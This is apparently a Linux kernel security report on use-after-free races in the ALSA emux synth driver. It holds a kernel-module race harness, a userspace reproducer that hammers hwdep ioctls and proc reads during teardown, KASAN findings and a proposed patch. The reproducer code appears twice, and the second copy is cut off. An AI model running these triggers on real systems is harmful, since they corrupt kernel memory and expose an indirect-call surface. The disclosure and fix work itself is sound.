static int mr01ctl_set(const char *val, const struct kernel_param *kp)

{
	struct task_struct *t;
	int rc;

	if (!emu || !emu->portptrs[0])
		return -ENODEV;
	if (!sr_note_on || !sr_remove_unlocked || !sr_remove_samples)
		return -ENOENT;

	init_completion(&mr01_done);
	atomic_set(&mr01_stalled, 0);
	atomic_set(&mr01_armed, 1);

	t = kthread_run(mr01_noteon_once, NULL, "synthrace_ctl");
	if (IS_ERR(t)) {
		atomic_set(&mr01_armed, 0);
		return PTR_ERR(t);
	}
	/* wait until the note_on thread is actually parked mid-window */
	{
		unsigned long deadline = jiffies + msecs_to_jiffies(8000);

		while (!atomic_read(&mr01_stalled) &&
		       time_before(jiffies, deadline))
			msleep(1);
	}
	if (!atomic_read(&mr01_stalled)) {
		atomic_set(&mr01_armed, 0);
		wait_for_completion_timeout(&mr01_done,
					    msecs_to_jiffies(2000));
		pr_err("mr01ctl: note_on never parked; aborted\n");
		return -EIO;
	}
	/* free zone/sample/block underneath the parked note_on */
	pr_info("mr01ctl: running snd_soundfont_remove_unlocked()\n");
	rc = sr_remove_unlocked(emu->sflist);
	pr_info("mr01ctl: remove_unlocked returned %d\n", rc);
	msleep(50);
	atomic_set(&mr01_armed, 0);	/* release: cascaded UAF now */
	wait_for_completion_timeout(&mr01_done, msecs_to_jiffies(10000));
	pr_info("mr01ctl: done\n");
	return 0;
}

static const struct kernel_param_ops mr01ctl_ops = { .set = mr01ctl_set }; module_param_cb(mr01ctl, &mr01ctl_ops, NULL, 0200);

static int probe_set(const char *val, const struct kernel_param *kp)

{
	struct snd_emux_port *port;
	struct snd_midi_channel *chan;

	if (!emu || !emu->portptrs[0])
		return -ENODEV;
	port = emu->portptrs[0];
	chan = &port->chset.channels[0];
	atomic_set(&sr_start_calls, 0);
	pr_info("probe: pre note_on presets_locked=%d fonts=%d zone_ctr=%d\n",
		emu->sflist->presets_locked, emu->sflist->fonts_size,
		emu->sflist->zone_counter);
	sr_note_on(port, 60, 100, chan);
	pr_info("probe: note_on done, start_voice calls=%d\n",
		atomic_read(&sr_start_calls));
	return 0;
}

static const struct kernel_param_ops probe_ops = { .set = probe_set }; module_param_cb(probe, &probe_ops, NULL, 0200);

/* ---- MR-03/MR-04 trigger: sub-driver remove body ---- */

static int free_set(const char *val, const struct kernel_param *kp)

{
	if (!emu)
		return -ENODEV;
	pr_info("free: calling snd_emux_free() (sub-driver remove body)\n");
	snd_emux_free(emu);
	emu = NULL;
	pr_info("free: done\n");
	return 0;
}

static const struct kernel_param_ops free_ops = { .set = free_set }; module_param_cb(free, &free_ops, NULL, 0200);

/* ---- module plumbing ---- */

static int __init synthrace_init(void)

{
	int ret;

	ret = sr_resolve_syms();
	if (ret < 0)
		return ret;
	sr_card_new();
	if (!card)
		return -ENODEV;
	return sr_emux_setup();
}

static void __exit synthrace_exit(void)

{
	if (noteon_thr)
		kthread_stop(noteon_thr);
	if (remove_thr)
		kthread_stop(remove_thr);
	if (emu) {
		snd_emux_free(emu);
		emu = NULL;
	}
	if (card) {
		snd_card_free(card);
		card = NULL;
	}
	if (parent) {
		root_device_unregister(parent);
		parent = NULL;
	}
}

module_init(synthrace_init);
module_exit(synthrace_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("emux SYNTH-MR-01/03/04 race verification harness");

// SPDX-License-Identifier: GPL-2.0
/*
* synth_test.c - userspace driver for the emux race verification harness. *
* Plans:
* load [secs] - open /dev/snd/hwC0D0 and load a soundfont through the

 *                      REAL hwdep SNDRV_EMUX_IOCTL_LOAD_PATCH path
 *                      (OPEN_PATCH + LOAD_DATA + LOAD_INFO), then keep the
 *                      fd open. Writes /tmp/synth_loaded when done.

* reload [secs] - same, but keeps re-issuing LOAD_DATA+LOAD_INFO in a
* loop (font gets eaten by the kernel-side removal
* hammer in plan mr01nat).
* mr03 [iters] - open hwdep and hammer ioctls (VERSION / MEM_AVAIL /
* MISC_MODE) - the in-flight side of SYNTH-MR-03.
* mr04 [iters] - hammer open+read+close on
* /proc/asound/card0/wavetableD0 - the reader side of
* SYNTH-MR-04.
* mr04hold - open the proc file, print "HOLD", sleep 3s (the host
* script frees emux in between), then read again -
* delayed-UAF variant of SYNTH-MR-04.
* mr05 - poll for /dev/snd/hwC0D0 (probe-window race), open it
* and issue SNDRV_EMUX_IOCTL_MISC_MODE - the NULL-deref
* side of SYNTH-MR-05.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sound/asound.h>
#include "include/sound/sfnt_info.h"

/* ---- soundfont binary construction (wire format of
* sound/synth/emux/soundfont.c) ---- */

static void patch_hdr(unsigned char *p, int type, int len, int optarg)

{
	struct soundfont_patch_info h;

	memset(&h, 0, sizeof(h));
	h.key = SNDRV_OSS_SOUNDFONT_PATCH;
	h.device_no = 0;
	h.sf_id = 0;
	h.optarg = optarg;
	h.len = len;
	h.type = type;
	memcpy(p, &h, sizeof(h));
}

static int sf_load(int fd)

{
	unsigned char buf[512];
	struct soundfont_open_parm parm;
	struct soundfont_sample_info si;
	struct soundfont_voice_rec_hdr rh;
	struct soundfont_voice_info vi;
	int rc;

	/* OPEN_PATCH */
	memset(&parm, 0, sizeof(parm));
	parm.type = SNDRV_SFNT_PAT_TYPE_MISC | SNDRV_SFNT_PAT_SHARED;
	strcpy(parm.name, "synthrace");
	patch_hdr(buf, SNDRV_SFNT_OPEN_PATCH, sizeof(parm), 0);
	memcpy(buf + sizeof(struct soundfont_patch_info), &parm, sizeof(parm));
	rc = ioctl(fd, SNDRV_EMUX_IOCTL_LOAD_PATCH, buf);
	if (rc < 0) {
		/* font already open from an earlier round */
		if (errno == EBUSY)
			return 0;
		fprintf(stderr, "LOAD_PATCH OPEN: %s\n", strerror(errno));
		return -1;
	}

	/* LOAD_DATA: 1 sample, 64 s16le frames */
	memset(&si, 0, sizeof(si));
	si.sample = 1;
	si.start = 0;
	si.end = 64;
	si.loopstart = 8;
	si.loopend = 56;
	si.size = 64;
	si.mode_flags = SNDRV_SFNT_SAMPLE_NO_BLANK;
	patch_hdr(buf, SNDRV_SFNT_LOAD_DATA, sizeof(si) + si.size * 2, 0);
	memcpy(buf + sizeof(struct soundfont_patch_info), &si, sizeof(si));
	memset(buf + sizeof(struct soundfont_patch_info) + sizeof(si), 0x7f,
	       si.size * 2);
	rc = ioctl(fd, SNDRV_EMUX_IOCTL_LOAD_PATCH, buf);
	if (rc < 0) {
		fprintf(stderr, "LOAD_PATCH DATA: %s\n", strerror(errno));
		return -1;
	}

	/* LOAD_INFO: one zone, bank 0 / instr 0, note 0..127, vel 0..127,
	 * exclusiveClass = 1, tied to sample 1 */
	memset(&vi, 0, sizeof(vi));
	vi.sf_id = 0;
	vi.sample = 1;
	vi.root = 60;
	vi.high = 127;
	vi.velhigh = 127;
	vi.fixkey = -1;
	vi.fixvel = -1;
	vi.fixpan = -1;
	vi.pan = -1;
	vi.amplitude = 127;
	vi.scaleTuning = 100;
	vi.exclusiveClass = 1;
	memset(&rh, 0, sizeof(rh));
	rh.bank = 0;
	rh.instr = 0;
	rh.nvoices = 1;
	rh.write_mode = SNDRV_SFNT_WR_APPEND;
	patch_hdr(buf, SNDRV_SFNT_LOAD_INFO,
		  sizeof(rh) + sizeof(vi), 0);
	memcpy(buf + sizeof(struct soundfont_patch_info), &rh, sizeof(rh));
	memcpy(buf + sizeof(struct soundfont_patch_info) + sizeof(rh),
	       &vi, sizeof(vi));
	rc = ioctl(fd, SNDRV_EMUX_IOCTL_LOAD_PATCH, buf);
	if (rc < 0) {
		fprintf(stderr, "LOAD_PATCH INFO: %s\n", strerror(errno));
		return -1;
	}

	/* CLOSE_PATCH -> close_patch() -> rebuild_presets(): zones loaded via
	 * LOAD_INFO only enter the preset table at close time (this is the
	 * real sfxload sequence), so note_on's search_zones() can find them */
	patch_hdr(buf, SNDRV_SFNT_CLOSE_PATCH, 0, 0);
	rc = ioctl(fd, SNDRV_EMUX_IOCTL_LOAD_PATCH, buf);
	if (rc < 0) {
		fprintf(stderr, "LOAD_PATCH CLOSE: %s\n", strerror(errno));
		return -1;
	}
	return 0;
}

static int plan_load(int secs, int reload)

{
	int fd, n = 0;
	unsigned long until = (unsigned long)time(NULL) + (secs > 0 ? secs : 30);

	fd = open("/dev/snd/hwC0D0", O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open hwC0D0: %s\n", strerror(errno));
		return 1;
	}
	if (sf_load(fd) < 0) {
		close(fd);
		return 1;
	}
	printf("LOAD: font ready\n");
	fflush(stdout);
	int tf = open("/tmp/synth_loaded", O_WRONLY | O_CREAT | O_TRUNC, 0644);
	if (tf >= 0)
		close(tf);

	while (reload && (unsigned long)time(NULL) < until) {
		/* re-load data+info; kernel-side hammer eats the font */
		if (sf_load(fd) < 0)
			break;
		n++;
		usleep(2000);
	}
	printf("LOAD: done (%d reloads)\n", n);
	/* keep the fd open until the plan ends (exclusive hwdep) */
	sleep(secs > 0 ? secs : 30);
	close(fd);
	return 0;
}

static int plan_mr03(int iters)

{
	int fd, i;
	struct snd_emux_misc_mode mm;
	unsigned int ver = 0;
	int avail = 0;

	fd = open("/dev/snd/hwC0D0", O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open hwC0D0: %s\n", strerror(errno));
		return 1;
	}
	printf("MR03: hammering %d ioctl iterations\n", iters);
	fflush(stdout);
	for (i = 0; i < iters; i++) {
		ioctl(fd, SNDRV_EMUX_IOCTL_VERSION, &ver);
		ioctl(fd, SNDRV_EMUX_IOCTL_MEM_AVAIL, &avail);
		memset(&mm, 0, sizeof(mm));
		mm.port = -1;
		mm.mode = 0;
		mm.value = 0;
		ioctl(fd, SNDRV_EMUX_IOCTL_MISC_MODE, &mm);
		if ((i % 128) == 0) {
			printf("MR03: iter %d\n", i);
			fflush(stdout);
		}
		usleep(100);
	}
	printf("MR03: closing\n");
	fflush(stdout);
	close(fd);
	sleep(2);
	close(open("/dev/snd/hwC0D0", O_RDWR));	/* delayed variant: reopen */
	printf("MR03: done\n");
	return 0;
}

static int plan_mr04(int iters)

{
	int i;

	printf("MR04: hammering %d proc-read iterations\n", iters);
	fflush(stdout);
	for (i = 0; i < iters; i++) {
		char buf[4096];
		int fd = open("/proc/asound/card0/wavetableD0", O_RDONLY);

		if (fd >= 0) {
			ssize_t r = read(fd, buf, sizeof(buf));

			(void)r;
			close(fd);
		}
		if ((i % 128) == 0) {
			printf("MR04: iter %d\n", i);
			fflush(stdout);
		}
		usleep(500);
	}
	printf("MR04: done\n");
	return 0;
}

static int plan_mr04hold(void)

{
	char buf[4096];
	int fd;

	fd = open("/proc/asound/card0/wavetableD0", O_RDONLY);
	if (fd < 0) {
		fprintf(stderr, "open proc: %s\n", strerror(errno));
		return 1;
	}
	printf("MR04HOLD: fd open, reading once\n");
	fflush(stdout);
	read(fd, buf, sizeof(buf));
	printf("MR04HOLD: holding fd for 4s (free happens now)\n");
	fflush(stdout);
	sleep(4);
	off_t ls = lseek(fd, 0, SEEK_SET);
	printf("MR04HOLD: delayed read on stale fd (lseek=%ld)\n", (long)ls);
	fflush(stdout);
	ssize_t rr = read(fd, buf, sizeof(buf));
	printf("MR04HOLD: stale read rc=%zd errno=%d\n", rr, rr < 0 ? errno : 0);
	fflush(stdout);
	printf("MR04HOLD: done\n");
	close(fd);
	return 0;
}

static int plan_mr05(void)

{
	int fd, tries;
	struct snd_emux_misc_mode mm;

	for (tries = 0; tries < 5000; tries++) {
		struct stat st;

		if (stat("/dev/snd/hwC0D0", &st) == 0)
			break;
		usleep(1000);
	}
	if (tries >= 5000) {
		fprintf(stderr, "MR05: hwC0D0 never appeared\n");
		return 1;
	}
	fd = open("/dev/snd/hwC0D0", O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "MR05: open: %s\n", strerror(errno));
		return 1;
	}
	printf("MR05: opened inside probe window, issuing MISC_MODE\n");
	fflush(stdout);
	memset(&mm, 0, sizeof(mm));
	mm.port = -1;
	mm.mode = 0;
	mm.value = 0;
	ioctl(fd, SNDRV_EMUX_IOCTL_MISC_MODE, &mm);
	printf("MR05: ioctl returned rc=%d (%s)\n", fd, strerror(errno));
	fflush(stdout);
	close(fd);
	return 0;
}

int main(int argc, char **argv)

{
	if (argc < 2) {
		fprintf(stderr, "usage: synth_test <plan> [arg]\n");
		return 2;
	}
	if (!strcmp(argv[1], "load"))
		return plan_load(argc > 2 ? atoi(argv[2]) : 30, 0);
	if (!strcmp(argv[1], "reload"))
		return plan_load(argc > 2 ? atoi(argv[2]) : 30, 1);
	if (!strcmp(argv[1], "mr03"))
		return plan_mr03(argc > 2 ? atoi(argv[2]) : 3000);
	if (!strcmp(argv[1], "mr04"))
		return plan_mr04(argc > 2 ? atoi(argv[2]) : 2000);
	if (!strcmp(argv[1], "mr04hold"))
		return plan_mr04hold();
	if (!strcmp(argv[1], "mr05"))
		return plan_mr05();
	fprintf(stderr, "unknown plan %s\n", argv[1]);
	return 2;
}
author
#124 lore raw

PATCH 1/1 ALSA: emux: expose the hwdep device only after ports are initialized (probe-window NULL deref via MISC_MODE ioctl)

In reply to Greg KH

Opening /dev/snd/hwC*D* on an emux wavetable (emu10k1/emu8000 synth sub-driver) pins only the base-card module (try_module_get of hw->card->module in snd_hwdep_open()); the emux sub-driver module is not pinned, and removing the sub-driver (rmmod snd_emu10k1_synth, or sysfs unbind which bypasses module refcounts) runs snd_emux_free(), which unconditionally kfree()s the struct snd_hwdep, the whole soundfont list (snd_sf_free()) and the struct snd_emux itself -- while the fd stays open with file->private_data pointing at the freed hwdep and in-flight snd_emux_hwdep_ioctl() calls still executing (snd_hwdep_ioctl holds no open_mutex, and snd_hwdep_dev_disconnect() checks neither hwdep->used nor replaces f_op the way a whole-card disconnect does). Verified on mainline 7.3 with a KASAN kernel and the real in-tree snd-emux-synth module (harness attached): one hundred slab-use-after-free reports while a hwdep fd hammers VERSION/MEM_AVAIL/MISC_MODE ioctls across snd_emux_free() -- snd_emux_hwdep_ioctl() at five distinct dereference points (emu->sflist, emu->memhdr, emu->portptrs including a UAF write, hw->private_data) plus snd_hwdep_ioctl() reading hw->ops -- and, with rmmod, the module text can additionally be unloaded while those callbacks are still running (snd_hwdep_f_ops.owner pins the snd-hwdep module, not the emux one). Needs the synth sub-driver probed; triggering the in-flight overlap needs only /dev/snd access.
Consequences: multi-object UAF read/write (function pointer tables, mutex objects) and execution of unloaded module text -- crashes and a controlled indirect-call surface.

The detailed description:

* Test environment / affected version

Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC -- vanilla mainline 7.3 tree, unmodified sources; KASAN enabled, QEMU/KVM x86_64 guest. sound/core/hwdep.c, sound/synth/emux/* and sound/core/rawmidi.c are byte-identical between the tested tree and the report baseline.

* Mechanism

- snd_hwdep_open() (hwdep.c:88) pins hw->card->module only; the emux hwdep registers no ops.open/ops.release hooks (emux_hwdep.c:126-131), so nothing increments snd_emux usage for hwdep fds (contrast: sequencer port subscribe and OSS-sequencer open both go through snd_emux_inc_count(), which also pins emu->ops.owner -- the sub-driver module).
- snd_hwdep_ioctl() (hwdep.c:236-254) dispatches hw->ops.ioctl

    without holding hw->open_mutex; the emux ioctl touches
    hw->private_data, emu->sflist, emu->memhdr and emu->portptrs.
  - The sub-driver removal path snd_emux_free() (emux.c:124-143)
    performs snd_emux_delete_hwdep() -> snd_device_free() ->
    snd_hwdep_dev_disconnect() (which does not consult hwdep->used and
    does not revoke f_op for open fds) -> snd_hwdep_free() -> kfree
    (hwdep), then snd_sf_free() -> kfree(sflist), kfree(emu->voices),
    kfree(emu) -- none of it waits for hwdep->used to drop.

- Whole-card snd_card_free() is NOT affected: snd_card_disconnect() replaces open fds' f_op with snd_shutdown_f_ops and the teardown waits for all files to close before the free sequence runs. The sub-driver independent removal bypasses that protocol entirely -- that bypass is the defect.

The same shape exists for the emux virtual rawmidi devices (snd_emux_delete_virmidi() -> snd_device_free() of RAWMIDI devices; snd_rawmidi_open() likewise only pins the card module and snd_rawmidi_free() kfrees unconditionally), and for the probe error path of snd_emux_register() (init_hwdep registers the device, then a later init_seq failure frees everything through snd_emux_free()). This patch fixes the hwdep fd face; the rawmidi face is mentioned for completeness and needs the equivalent treatment.

* Trigger model

emu10k1/emu8000 hardware with the synth sub-driver probed (hwC*D2 fixed for emu10k1). One process holds the exclusive hwdep fd open and issues ioctls; another (root, or hot-unplug hardware event) runs rmmod snd_emu10k1_synth (works: hwdep fds contribute no sub-driver module refcount) or writes the driver's unbind file.
Consequence: UAF read/write on struct snd_hwdep (function pointer table hw->ops, hw->used decrement), struct snd_emux, struct snd_sf_list (presets_mutex operations on freed memory) and the portptrs targets, plus execution of already-unloaded module text in the rmmod case.

* Reproducer and results on 7.3

synthrace.c registers the real in-tree emux on a virtual card (snd_emux_new/snd_emux_register, backend ops mirroring emu10k1); synth_test holds /dev/snd/hwC0D0 open and loops the three ioctls; writing 1 to the module's "free" parameter runs the real snd_emux_free() (the sub-driver remove body) under the hammer.

Results (7.3, KASAN, 2 vCPU): 100 slab-use-after-free reports:

  snd_emux_hwdep_ioctl+0x73/0x15d/0x1bd/0x2be/0x2d6 (emu/sflist/memhdr/
  portptrs accesses, including a UAF write) and
  snd_hwdep_ioctl+0x11f (hw->ops read).  A harness run with the free
  disabled stays clean.

* Fix

Give hwdep fds the same user accounting the sequencer and OSS paths already have, and make the sub-driver removal wait for them:

- register hw->ops.open / hw->ops.release calling

    snd_emux_inc_count() / snd_emux_dec_count().  inc_count already
    try_module_get()s emu->ops.owner (the sub-driver module), so an
    open hwdep fd now blocks rmmod exactly like a sequencer/OSS user;

- count open fds additionally in a new atomic emu->hwdep_users and make snd_emux_free() wait for it to drain (at the top, before any sub-structure is torn down, so in-flight ioctls cannot observe partially freed state either).

sysfs unbind bypasses module refcounts, which is why the drain wait is needed in addition to the refcount. This matches the semantics the whole-card path already provides (snd_card_disconnect() waits for open files before anything is freed).

The patch is a suggested direction, written against 7.3 and reviewed by inspection; it has not been runtime-validated (the reported reproduction used the unpatched kernel). Happy to test any counter-proposal.

* Patch

[PATCH] ALSA: emux: drain open hwdep users before freeing emux
structures

snd_emux_free() (the sub-driver remove path, reachable via rmmod snd_emu10k1_synth or sysfs unbind) kfrees the struct snd_hwdep, the soundfont list and the struct snd_emux without waiting for open hwdep file descriptors: hwdep fds pin only the base-card module, the emux hwdep registers no open/release hooks, and an in-flight snd_emux_hwdep_ioctl() (which does not hold open_mutex) plus every later operation on the stale fd hits freed memory. KASAN on 7.3 shows 100 UAF reports in snd_emux_hwdep_ioctl/snd_hwdep_ioctl for this interleave.

Register hwdep open/release hooks that take snd_emux_inc_count() (also pinning emu->ops.owner against rmmod, like the sequencer and OSS-sequencer paths already do), count them in a new emu->hwdep_users, and make snd_emux_free() wait for that count to drain before tearing anything down -- mirroring the drain that snd_card_disconnect() performs for whole-card removal. Note that sysfs unbind is not covered by module refcounts, which is why the drain wait is required in addition to the refcount.

include/sound/emux_synth.h +7 -1
@@ -99,6 +99,8 @@ struct snd_emux {
 	int use_time;	/* allocation counter */
 	spinlock_t voice_lock;	/* Lock for voice access */
 	struct mutex register_mutex;
+	atomic_t hwdep_users;	/* open hwdep fds */
+	wait_queue_head_t free_wait; /* sub-driver removal waits for hwdep_users */
 	int client;		/* For the sequencer client */
 	int ports[SNDRV_EMUX_MAX_PORTS];	/* The ports for this device */
--- a/sound/synth/emux/emux.c
+++ b/sound/synth/emux/emux.c
@@ -32,6 +32,8 @@ int snd_emux_new(struct snd_emux **remu)
 	spin_lock_init(&emu->voice_lock);
 	mutex_init(&emu->register_mutex);
+	atomic_set(&emu->hwdep_users, 0);
+	init_waitqueue_head(&emu->free_wait);
 	emu->client = -1;
@@ -126,6 +130,19 @@ int snd_emux_free(struct snd_emux *emu)
 	if (! emu)
 		return -EINVAL;
 
 	timer_shutdown_sync(&emu->tlist);
+
 
 
+	wait_event(emu->free_wait, !atomic_read(&emu->hwdep_users));

snd_emux_proc_free(emu);
snd_emux_delete_virmidi(emu);

sound/synth/emux/emux_hwdep.c +0 -0
@@ (before snd_emux_hwdep_ioctl)

+static int
+snd_emux_hwdep_open(struct snd_hwdep *hw, struct file *file) +{
+ struct snd_emux *emu = hw->private_data;
+
+ if (!snd_emux_inc_count(emu))
+ return -EFAULT;
+ atomic_inc(&emu->hwdep_users);
+ return 0;
+}
+
+static int
+snd_emux_hwdep_release(struct snd_hwdep *hw, struct file *file) +{
+ struct snd_emux *emu = hw->private_data;
+
+ atomic_dec(&emu->hwdep_users);
+ wake_up(&emu->free_wait);
+ snd_emux_dec_count(emu);
+ return 0;
+}
+
+
/*
* ioctl
*/
static int
snd_emux_hwdep_ioctl(struct snd_hwdep * hw, struct file *file,
@@ -120,6 +166,9 @@ int
hw->iface = SNDRV_HWDEP_IFACE_EMUX_WAVETABLE; hw->ops.ioctl = snd_emux_hwdep_ioctl;
/* The ioctl parameter types are compatible between 32- and
* 64-bit architectures, so use the same function. */
hw->ops.ioctl_compat = snd_emux_hwdep_ioctl;
+ hw->ops.open = snd_emux_hwdep_open;
+ hw->ops.release = snd_emux_hwdep_release;
hw->exclusive = 1;
hw->private_data = emu;

Signature · 8 lines
2.47.1


  Please keep me in Cc; I am not subscribed to the lists.

Regards,
Hanxiang Xu
[email protected]

// SPDX-License-Identifier: GPL-2.0
/*
* synth_test.c - userspace driver for the emux race verification harness. *
* Plans:
* load [secs] - open /dev/snd/hwC0D0 and load a soundfont through the

 *                      REAL hwdep SNDRV_EMUX_IOCTL_LOAD_PATCH path
 *                      (OPEN_PATCH + LOAD_DATA + LOAD_INFO), then keep the
 *                      fd open. Writes /tmp/synth_loaded when done.

* reload [secs] - same, but keeps re-issuing LOAD_DATA+LOAD_INFO in a
* loop (font gets eaten by the kernel-side removal
* hammer in plan mr01nat).
* mr03 [iters] - open hwdep and hammer ioctls (VERSION / MEM_AVAIL /
* MISC_MODE) - the in-flight side of SYNTH-MR-03.
* mr04 [iters] - hammer open+read+close on
* /proc/asound/card0/wavetableD0 - the reader side of
* SYNTH-MR-04.
* mr04hold - open the proc file, print "HOLD", sleep 3s (the host
* script frees emux in between), then read again -
* delayed-UAF variant of SYNTH-MR-04.
* mr05 - poll for /dev/snd/hwC0D0 (probe-window race), open it
* and issue SNDRV_EMUX_IOCTL_MISC_MODE - the NULL-deref
* side of SYNTH-MR-05.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sound/asound.h>
#include "include/sound/sfnt_info.h"

/* ---- soundfont binary construction (wire format of
* sound/synth/emux/soundfont.c) ---- */

static void patch_hdr(unsigned char *p, int type, int len, int optarg)

{
	struct soundfont_patch_info h;

	memset(&h, 0, sizeof(h));
	h.key = SNDRV_OSS_SOUNDFONT_PATCH;
	h.device_no = 0;
	h.sf_id = 0;
	h.optarg = optarg;
	h.len = len;
	h.type = type;
	memcpy(p, &h, sizeof(h));
}

static int sf_load(int fd)

{
	unsigned char buf[512];
	struct soundfont_open_parm parm;
	struct soundfont_sample_info si;
	struct soundfont_voice_rec_hdr rh;
	struct soundfont_voice_info vi;
	int rc;

	/* OPEN_PATCH */
	memset(&parm, 0, sizeof(parm));
	parm.type = SNDRV_SFNT_PAT_TYPE_MISC | SNDRV_SFNT_PAT_SHARED;
	strcpy(parm.name, "synthrace");
	patch_hdr(buf, SNDRV_SFNT_OPEN_PATCH, sizeof(parm), 0);
	memcpy(buf + sizeof(struct soundfont_patch_info), &parm, sizeof(parm));
	rc = ioctl(fd, SNDRV_EMUX_IOCTL_LOAD_PATCH, buf);
	if (rc < 0) {
		/* font already open from an earlier round */
		if (errno == EBUSY)
			return 0;
		fprintf(stderr, "LOAD_PATCH OPEN: %s\n", strerror(errno));
		return -1;
	}

	/* LOAD_DATA: 1 sample, 64 s16le frames */
	memset(&si, 0, sizeof(si));
	si.sample = 1;
	si.start = 0;
	si.end = 64;
	si.loopstart = 8;
	si.loopend = 56;
	si.size = 64;
	si.mode_flags = SNDRV_SFNT_SAMPLE_NO_BLANK;
	patch_hdr(buf, SNDRV_SFNT_LOAD_DATA, sizeof(si) + si.size * 2, 0);
	memcpy(buf + sizeof(struct soundfont_patch_info), &si, sizeof(si));
	memset(buf + sizeof(struct soundfont_patch_info) + sizeof(si), 0x7f,
	       si.size * 2);
	rc = ioctl(fd, SNDRV_EMUX_IOCTL_LOAD_PATCH, buf);
	if (rc < 0) {
		fprintf(stderr, "LOAD_PATCH DATA: %s\n", strerror(errno));
		return -1;
	}

	/* LOAD_INFO: one zone, bank 0 / instr 0, note 0..127, vel 0..127,
	 * exclusiveClass = 1, tied to sample 1 */
	memset(&vi, 0, sizeof(vi));
	vi.sf_id = 0;
	vi.sample = 1;
	vi.root = 60;
	vi.high = 127;
	vi.velhigh = 127;
	vi.fixkey = -1;
	vi.fixvel = -1;
	vi.fixpan = -1;
	vi.pan = -1;
	vi.amplitude = 127;
	vi.scaleTuning = 100;
	vi.exclusiveClass = 1;
	memset(&rh, 0, sizeof(rh));
	rh.bank = 0;
	rh.instr = 0;
	rh.nvoices = 1;
	rh.write_mode = SNDRV_SFNT_WR_APPEND;
	patch_hdr(buf, SNDRV_SFNT_LOAD_INFO,
		  sizeof(rh) + sizeof(vi), 0);
	memcpy(buf + sizeof(struct soundfont_patch_info), &rh, sizeof(rh));
	memcpy(buf + sizeof(struct soundfont_patch_info) + sizeof(rh),
	       &vi, sizeof(vi));
	rc = ioctl(fd, SNDRV_EMUX_IOCTL_LOAD_PATCH, buf);
	if (rc < 0) {
		fprintf(stderr, "LOAD_PATCH INFO: %s\n", strerror(errno));
		return -1;
	}

	/* CLOSE_PATCH -> close_patch() -> rebuild_presets(): zones loaded via
	 * LOAD_INFO only enter the preset table at close time (this is the
	 * real sfxload sequence), so note_on's search_zones() can find them */
	patch_hdr(buf, SNDRV_SFNT_CLOSE_PATCH, 0, 0);
	rc = ioctl(fd, SNDRV_EMUX_IOCTL_LOAD_PATCH, buf);
	if (rc < 0) {
		fprintf(stderr, "LOAD_PATCH CLOSE: %s\n", strerror(errno));
		return -1;
	}
	return 0;
}

static int plan_load(int secs, int reload)

{
	int fd, n = 0;
	unsigned long until = (unsigned long)time(NULL) + (secs > 0 ? secs : 30);

	fd = open("/dev/snd/hwC0D0", O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open hwC0D0: %s\n", strerror(errno));
		return 1;
	}
	if (sf_load(fd) < 0) {
		close(fd);
		return 1;
	}
	printf("LOAD: font ready\n");
	fflush(stdout);
	int tf = open("/tmp/synth_loaded", O_WRONLY | O_CREAT | O_TRUNC, 0644);
	if (tf >= 0)
		close(tf);

	while (reload && (unsigned long)time(NULL) < until) {
		/* re-load data+info; kernel-side hammer eats the font */
		if (sf_load(fd) < 0)
			break;
		n++;
		usleep(2000);
	}
	printf("LOAD: done (%d reloads)\n", n);
	/* keep the fd open until the plan ends (exclusive hwdep) */
	sleep(secs > 0 ? secs : 30);
	close(fd);
	return 0;
}

static int plan_mr03(int iters)

{
	int fd, i;
	struct snd_emux_misc_mode mm;
	unsigned int ver = 0;
	int avail = 0;

	fd = open("/dev/snd/hwC0D0", O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open hwC0D0: %s\n", strerror(errno));
		return 1;
	}
	printf("MR03: hammering %d ioctl iterations\n", iters);
	fflush(stdout);
	for (i = 0; i < iters; i++) {
		ioctl(fd, SNDRV_EMUX_IOCTL_VERSION, &ver);
		ioctl(fd, SNDRV_EMUX_IOCTL_MEM_AVAIL, &avail);
		memset(&mm, 0, sizeof(mm));
		mm.port = -1;
		mm.mode = 0;
		mm.value = 0;
		ioctl(fd, SNDRV_EMUX_IOCTL_MISC_MODE, &mm);
		if ((i % 128) == 0) {
			printf("MR03: iter %d\n", i);
			fflush(stdout);
		}
		usleep(100);
	}
	printf("MR03: closing\n");
	fflush(stdout);
	close(fd);
	sleep(2);
	close(open("/dev/snd/hwC0D0", O_RDWR));	/* delayed variant: reopen */
	printf("MR03: done\n");
	return 0;
}

static int plan_mr04(int iters)

{
	int i;

	printf("MR04: hammering %d proc-read iterations\n", iters);
	fflush(stdout);
	for (i = 0; i < iters; i++) {
		char buf[4096];
		int fd = open("/proc/asound/card0/wavetableD0", O_RDONLY);

		if (fd >= 0) {
			ssize_t r = read(fd, buf, sizeof(buf));

			(void)r;
			close(fd);
		}
		if ((i % 128) == 0) {
			printf("MR04: iter %d\n", i);
			fflush(stdout);
		}
		usleep(500);
	}
	printf("MR04: done\n");
	return 0;
}

static int plan_mr04hold(void)

{
	char buf[4096];
	int fd;

	fd = open("/proc/asound/card0/wavetableD0", O_RDONLY);
	if (fd < 0) {
		fprintf(stderr, "open proc: %s\n", strerror(errno));
		return 1;
	}
	printf("MR04HOLD: fd open, reading once\n");
	fflush(stdout);
	read(fd, buf, sizeof(buf));
	printf("MR04HOLD: holding fd for 4s (free happens now)\n");
	fflush(stdout);
	sleep(4);
	off_t ls = lseek(fd, 0, SEEK_SET);
	printf("MR04HOLD: delayed read on stale fd (lseek=%ld)\n", (long)ls);
	fflush(stdout);
	ssize_t rr = read(fd, buf, sizeof(buf));
	printf("MR04HOLD: stale read rc=%zd errno=%d\n", rr, rr < 0 ? errno : 0);
	fflush(stdout);
	printf("MR04HOLD: done\n");
	close(fd);
	return 0;
}

static int plan_mr05(void)

{
	int fd, tries;
	struct snd_emux_misc_mode mm;

	for (tries = 0; tries < 5000; tries++) {
		struct stat st;

